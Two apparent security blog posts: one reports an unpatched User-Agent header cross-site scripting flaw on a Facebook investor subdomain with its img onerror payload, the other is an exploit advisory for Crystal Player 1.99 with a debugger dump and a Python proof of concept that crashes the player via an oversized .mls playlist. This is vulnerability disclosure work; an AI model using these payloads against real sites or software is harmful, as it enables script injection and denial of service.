Unpatched Facebook User-Agent Cross Site Scirpting Vulnerability [Web]

Greetings readers, I found a one of critical bug on investor[dot]fb[dot]com, However the risk severity is medium and hard to exploit remotely but still it is a security bug. Yes!! I'm talking about user-agent header cross site scripting vulnerability on one of subdomain of fb.com. As a information security researcher and whitehat mindset, I reported it to Facebook so that they can fix this issue but in response I found this is not a issue for them and finally I asked to him to make a writeup on this bug and all seems they don't care about it.

Whatever, let me explain this bug. As all of you know, browser always sent user-agent with HTTP request and user can change user-agent by intercepting the request or via some plugins but I'm fan of "Tamper Data" - a Firefox plugin that allow user to intercept request easily.

When I was trying to find some bugs on investor.fb.com, I found a link investor.fb.com/alerts.cfm that contains a form with some checkboxes and can use POST method. First of all I tick on checkbox and submit the data by clicking continue button, at same time I intercepted the request and make some changes in value of checkbox i.e. doublequote and get this error message -

If you look at this error message, you will notice it contains the User-Agent. So suddenly a thing stuck on my mind and I modified user-agent to XSS Payload. After that XSS Payload i.e. User-Agent:<img src=x onerror=prompt(document.domain);> will take place of user-agent and popup a javascript prompt. 

Now let's discuss about risk severity and vulnerability of XSS in user-agent. This kind of bug is not easy to exploit remotely though some advanced method allow to exploit this vulnerability otherwise this will be self-xss. In normal cases, only client can execute this kind of bug on their system but I think nobody, even a newbie will not going to change user-agent for you. Then I found a very informative article on internet that shows the fabulous way of triggering user-agent XSS. - http://websecurity.com.ua/5195/

Status: Reported [Unpatched]
Disclaimer: This article is only for education and knowledge purpose only.

Crystal Player 1.99 - Memory Corruption Vulnerability [Local]

# Exploit Title: [Crystal Player 1.99 - Memory Corruption Vulnerability]
# Date: [21/01/2015]
# Exploit Author: [Kapil Soni]
# Twitter: [@Haxinos]
# Vendor Homepage: [http://www.crystalplayer.com]
# Software Link: [download link if available]
# Version: [Crystal Player v1.99]
# Tested on: [Windows XP SP2]

'''
Affected Product(s):
#====================
Crystal Player 1.99


Exploitation Technique:
#=======================
Local


Severity Level:
#===============
Medium


Technical Details & Description:
================================
A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file.
Attackers can crash the software local by user inter action over mls (playlist).



--- DEBUG LOG ---
///registers
EAX 00000000
ECX 0006FE24
EDX 0006FE24
EBX 0013014C
ESP 0006F300
EBP 00060041
ESI 00FF4A00
EDI 00000001
EIP 0040F933 Crystal.0040F933
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1



--- ERROR LOG ---
Crystal+0xf933:
0040f933 8b5510          mov     edx,dword ptr [ebp+10h] ss:0023:00060051=????????


00060051 doesnt exist in the program aka not allowed .. so memcopy fails...


EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040f933 (Crystal+0xf933)

Access violation when reading [00060051]

Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by local attackers with userinteraction ...
'''
#!/usr/bin/python

buffer = "A"*30000

filename = "Crash"+".mls"
file = open(filename, 'w')
file.write(buffer)
file.close()
print "[] Successfully MLS Created []"

'''
How to perform:
=======================
1) Open Immunity Debugger and attach Crystal Player 1.99
2) Run it, Now move .mls file that we generated by our python script to the player
3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist.

When you perform above steps so application will crash. Analyze it on Immunity.

Solution - Fix & Patch:
=======================
Restrict working maximum size & set a own exception-handling for over-sized requests.

Security Risk:
==============
The security risk of the vulnerability is estimated as medium because of the local crash method.

Other Links:
=============
1) Exploit-DB - https://www.exploit-db.com/exploits/35869/
2) Google it

Status:
========
Reported

Authors:
==================
Kapil Soni (Haxinos)
'''